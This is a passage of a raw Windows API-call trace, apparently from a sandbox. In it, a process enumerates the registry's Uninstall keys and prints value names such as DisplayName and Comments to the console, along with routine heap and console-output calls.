dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.045] GetConsoleOutputCP () returned 0x1b5 [0150.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0150.045] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.045] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.045] __iob_func () returned 0x7fefd702a80 [0150.045] _fileno (_File=0x7fefd702ab0) returned 1 [0150.045] _errno () returned 0x204bb0 [0150.045] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.045] _errno () returned 0x204bb0 [0150.045] GetFileType (hFile=0x50) returned 0x1 [0150.045] lstrlenW (lpString=" ") returned 4 [0150.045] GetConsoleOutputCP () returned 0x1b5 [0150.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.046] GetConsoleOutputCP () returned 0x1b5 [0150.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.046] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.046] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.046] __iob_func () returned 0x7fefd702a80 [0150.046] _fileno (_File=0x7fefd702ab0) returned 1 [0150.046] _errno () returned 0x204bb0 [0150.046] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.046] _errno () returned 0x204bb0 [0150.046] GetFileType (hFile=0x50) returned 0x1 [0150.046] lstrlenW (lpString="REG_SZ") returned 6 [0150.046] GetConsoleOutputCP () returned 0x1b5 [0150.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.046] GetConsoleOutputCP () returned 0x1b5 [0150.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.046] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.046] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.046] __iob_func () returned 0x7fefd702a80 [0150.046] _fileno (_File=0x7fefd702ab0) returned 1 [0150.046] _errno () returned 0x204bb0 [0150.047] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.047] _errno () returned 0x204bb0 [0150.047] GetFileType (hFile=0x50) returned 0x1 [0150.047] lstrlenW (lpString=" ") returned 4 [0150.047] GetConsoleOutputCP () returned 0x1b5 [0150.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.047] GetConsoleOutputCP () returned 0x1b5 [0150.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.047] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.047] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.047] __iob_func () returned 0x7fefd702a80 [0150.047] _fileno (_File=0x7fefd702ab0) returned 1 [0150.047] _errno () returned 0x204bb0 [0150.047] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.047] _errno () returned 0x204bb0 [0150.047] GetFileType (hFile=0x50) returned 0x1 [0150.047] lstrlenW (lpString="Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017") returned 62 [0150.047] GetConsoleOutputCP () returned 0x1b5 [0150.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0150.047] GetConsoleOutputCP () returned 0x1b5 [0150.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", cchWideChar=62, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpUsedDefaultChar=0x0) returned 62 [0150.048] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 62 [0150.048] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.048] __iob_func () returned 0x7fefd702a80 [0150.048] _fileno (_File=0x7fefd702ab0) returned 1 [0150.048] _errno () returned 0x204bb0 [0150.048] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.048] _errno () returned 0x204bb0 [0150.048] GetFileType (hFile=0x50) returned 0x1 [0150.048] lstrlenW (lpString="\n") returned 1 [0150.048] GetConsoleOutputCP () returned 0x1b5 [0150.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.048] GetConsoleOutputCP () returned 0x1b5 [0150.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.048] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.048] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.048] GetProcessHeap () returned 0x3c0000 [0150.048] GetProcessHeap () returned 0x3c0000 [0150.048] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.048] GetProcessHeap () returned 0x3c0000 [0150.048] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x82 [0150.048] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.048] __iob_func () returned 0x7fefd702a80 [0150.048] _fileno (_File=0x7fefd702ab0) returned 1 [0150.048] _errno () returned 0x204bb0 [0150.049] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.049] _errno () returned 0x204bb0 [0150.049] GetFileType (hFile=0x50) returned 0x1 [0150.049] lstrlenW (lpString="\n") returned 1 [0150.049] GetConsoleOutputCP () returned 0x1b5 [0150.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.049] GetConsoleOutputCP () returned 0x1b5 [0150.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.049] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.049] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.049] GetProcessHeap () returned 0x3c0000 [0150.049] GetProcessHeap () returned 0x3c0000 [0150.049] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.049] GetProcessHeap () returned 0x3c0000 [0150.049] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0150.049] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.049] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.049] GetProcessHeap () returned 0x3c0000 [0150.049] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0150.049] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}") returned 121 [0150.049] GetProcessHeap () returned 0x3c0000 [0150.049] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0150.049] GetProcessHeap () returned 0x3c0000 [0150.049] GetProcessHeap () returned 0x3c0000 [0150.049] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.049] GetProcessHeap () returned 0x3c0000 [0150.049] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0150.050] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.050] GetProcessHeap () returned 0x3c0000 [0150.050] GetProcessHeap () returned 0x3c0000 [0150.050] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.050] GetProcessHeap () returned 0x3c0000 [0150.050] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0150.050] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.050] RegCloseKey (hKey=0x5c) returned 0x0 [0150.050] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1d, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.050] __iob_func () returned 0x7fefd702a80 [0150.050] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.050] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}\n") returned 122 [0150.050] _fileno (_File=0x7fefd702ab0) returned 1 [0150.050] _errno () returned 0x204bb0 [0150.050] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.050] _errno () returned 0x204bb0 [0150.050] GetFileType (hFile=0x50) returned 0x1 [0150.050] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}\n") returned 122 [0150.050] GetConsoleOutputCP () returned 0x1b5 [0150.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0150.050] GetConsoleOutputCP () returned 0x1b5 [0150.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}\n", lpUsedDefaultChar=0x0) returned 122 [0150.050] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0150.050] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.050] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0150.051] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x19, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.051] GetProcessHeap () returned 0x3c0000 [0150.051] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0150.051] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.051] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.051] GetProcessHeap () returned 0x3c0000 [0150.051] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.051] GetProcessHeap () returned 0x3c0000 [0150.051] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.051] GetProcessHeap () returned 0x3c0000 [0150.051] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.051] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.051] __iob_func () returned 0x7fefd702a80 [0150.051] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.051] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.051] _fileno (_File=0x7fefd702ab0) returned 1 [0150.051] _errno () returned 0x204bb0 [0150.051] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.051] _errno () returned 0x204bb0 [0150.051] GetFileType (hFile=0x50) returned 0x1 [0150.051] lstrlenW (lpString=" ") returned 4 [0150.051] GetConsoleOutputCP () returned 0x1b5 [0150.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.051] GetConsoleOutputCP () returned 0x1b5 [0150.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.052] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.052] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.052] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.052] __iob_func () returned 0x7fefd702a80 [0150.052] _fileno (_File=0x7fefd702ab0) returned 1 [0150.052] _errno () returned 0x204bb0 [0150.052] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.052] _errno () returned 0x204bb0 [0150.052] GetFileType (hFile=0x50) returned 0x1 [0150.052] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.052] GetConsoleOutputCP () returned 0x1b5 [0150.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.052] GetConsoleOutputCP () returned 0x1b5 [0150.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0150.052] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0150.052] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.052] __iob_func () returned 0x7fefd702a80 [0150.052] _fileno (_File=0x7fefd702ab0) returned 1 [0150.052] _errno () returned 0x204bb0 [0150.052] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.052] _errno () returned 0x204bb0 [0150.052] GetFileType (hFile=0x50) returned 0x1 [0150.052] lstrlenW (lpString=" ") returned 4 [0150.052] GetConsoleOutputCP () returned 0x1b5 [0150.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.053] GetConsoleOutputCP () returned 0x1b5 [0150.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.053] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.053] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.053] __iob_func () returned 0x7fefd702a80 [0150.053] _fileno (_File=0x7fefd702ab0) returned 1 [0150.053] _errno () returned 0x204bb0 [0150.053] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.053] _errno () returned 0x204bb0 [0150.053] GetFileType (hFile=0x50) returned 0x1 [0150.053] lstrlenW (lpString="REG_SZ") returned 6 [0150.053] GetConsoleOutputCP () returned 0x1b5 [0150.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.053] GetConsoleOutputCP () returned 0x1b5 [0150.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.053] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.053] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.053] __iob_func () returned 0x7fefd702a80 [0150.053] _fileno (_File=0x7fefd702ab0) returned 1 [0150.054] _errno () returned 0x204bb0 [0150.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.054] _errno () returned 0x204bb0 [0150.054] GetFileType (hFile=0x50) returned 0x1 [0150.054] lstrlenW (lpString=" ") returned 4 [0150.054] GetConsoleOutputCP () returned 0x1b5 [0150.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.054] GetConsoleOutputCP () returned 0x1b5 [0150.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.054] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.054] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.054] __iob_func () returned 0x7fefd702a80 [0150.054] _fileno (_File=0x7fefd702ab0) returned 1 [0150.054] _errno () returned 0x204bb0 [0150.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.054] _errno () returned 0x204bb0 [0150.054] GetFileType (hFile=0x50) returned 0x1 [0150.054] lstrlenW (lpString="") returned 0 [0150.054] __iob_func () returned 0x7fefd702a80 [0150.054] _fileno (_File=0x7fefd702ab0) returned 1 [0150.054] _errno () returned 0x204bb0 [0150.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.054] _errno () returned 0x204bb0 [0150.054] GetFileType (hFile=0x50) returned 0x1 [0150.054] lstrlenW (lpString="\n") returned 1 [0150.054] GetConsoleOutputCP () returned 0x1b5 [0150.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.055] GetConsoleOutputCP () returned 0x1b5 [0150.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.055] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.055] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.055] GetProcessHeap () returned 0x3c0000 [0150.055] GetProcessHeap () returned 0x3c0000 [0150.055] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.055] GetProcessHeap () returned 0x3c0000 [0150.055] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.055] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.055] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.055] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.055] GetProcessHeap () returned 0x3c0000 [0150.055] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.055] GetProcessHeap () returned 0x3c0000 [0150.055] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.055] GetProcessHeap () returned 0x3c0000 [0150.055] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.055] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.055] __iob_func () returned 0x7fefd702a80 [0150.055] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.055] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.055] _fileno (_File=0x7fefd702ab0) returned 1 [0150.055] _errno () returned 0x204bb0 [0150.055] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.055] _errno () returned 0x204bb0 [0150.055] GetFileType (hFile=0x50) returned 0x1 [0150.056] lstrlenW (lpString=" ") returned 4 [0150.056] GetConsoleOutputCP () returned 0x1b5 [0150.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.056] GetConsoleOutputCP () returned 0x1b5 [0150.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.056] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.056] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.056] lstrlenW (lpString="Comments") returned 8 [0150.056] __iob_func () returned 0x7fefd702a80 [0150.056] _fileno (_File=0x7fefd702ab0) returned 1 [0150.056] _errno () returned 0x204bb0 [0150.056] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.056] _errno () returned 0x204bb0 [0150.056] GetFileType (hFile=0x50) returned 0x1 [0150.056] lstrlenW (lpString="Comments") returned 8 [0150.056] GetConsoleOutputCP () returned 